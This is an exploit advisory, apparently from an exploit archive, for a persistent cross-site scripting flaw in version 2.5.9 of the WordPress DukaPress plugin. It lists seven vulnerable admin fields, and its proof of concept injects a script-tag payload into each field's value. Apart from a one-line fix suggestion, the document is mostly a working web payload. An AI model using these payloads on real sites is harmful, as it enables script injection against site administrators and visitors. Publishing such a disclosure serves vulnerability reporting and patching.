Wordpress DukaPress Plugin - Persistent XSS Vulnerability

##################################################
 Tilte Exploit : Wordpress Plugin DukaPress - Persistent XSS Vulnerability
 Date : 21/09/2015
 Author : ZwX
 Software Vendor : http://dukapress.org/
 Software Link: https://wordpress.org/plugins/dukapress/
 Version: 2.5.9 
 Levels Risk  : Low
 Tested on: Windows 7 
 site : http://zwx.fr/
##################################################

##################################################
            Description Vulnerability :
##################################################

To exploit this vulnerability must connect to the admin panel.

1-The input fields with the id "price" is vulnerable to XSS that is stored
2-The input fields with the id "new_price" is vulnerable to XSS that is stored
3-The input fields with the id "currently_in_stock" is vulnerable to XSS that is stored
4-The input fields with the id "item_weight" is vulnerable to XSS that is stored
5-The input fields with the id "igital_file" is vulnerable to XSS that is stored
6-The input fields with the id "affiliate_url" is vulnerable to XSS that is stored
7-The input fields with the id "delete1" is vulnerable to XSS that is stored
 
##################################################
              Proof Of Concept :
##################################################

 <table>
 <td><input id="price" name="price" value=""'/>><script>alert("xss")</script>" type="text"></td>
 <td><input id="new_price" name="new_price" value=""'/>><script>alert("xss")</script>" type="text"></td>
 <td><input id="currently_in_stock" name="currently_in_stock" value=""'/>><script>alert("xss")</script>" type="text"></td>
 <td><input id="item_weight" name="item_weight" value=""'/>><script>alert("xss")</script>" type="text"></td>
 <td><input id="digital_file" name="digital_file" value=""'/>><script>alert("xss")</script>" type="text"></td>
 <td><input id="affiliate_url" name="affiliate_url" value=""'/>><script>alert("xss")</script>" type="text"></td>
 </table>
 <div id="dp_deletestring"><a href="#" id="1">Delete</a>
 <input id="delete1" name="delete1" value=""'/>><script>alert("xss")</script>" type="hidden"></div>

##################################################
                 Solution :
##################################################

 Update the plugin to properly filter the variables.

#  0day.today [2018-04-01]  #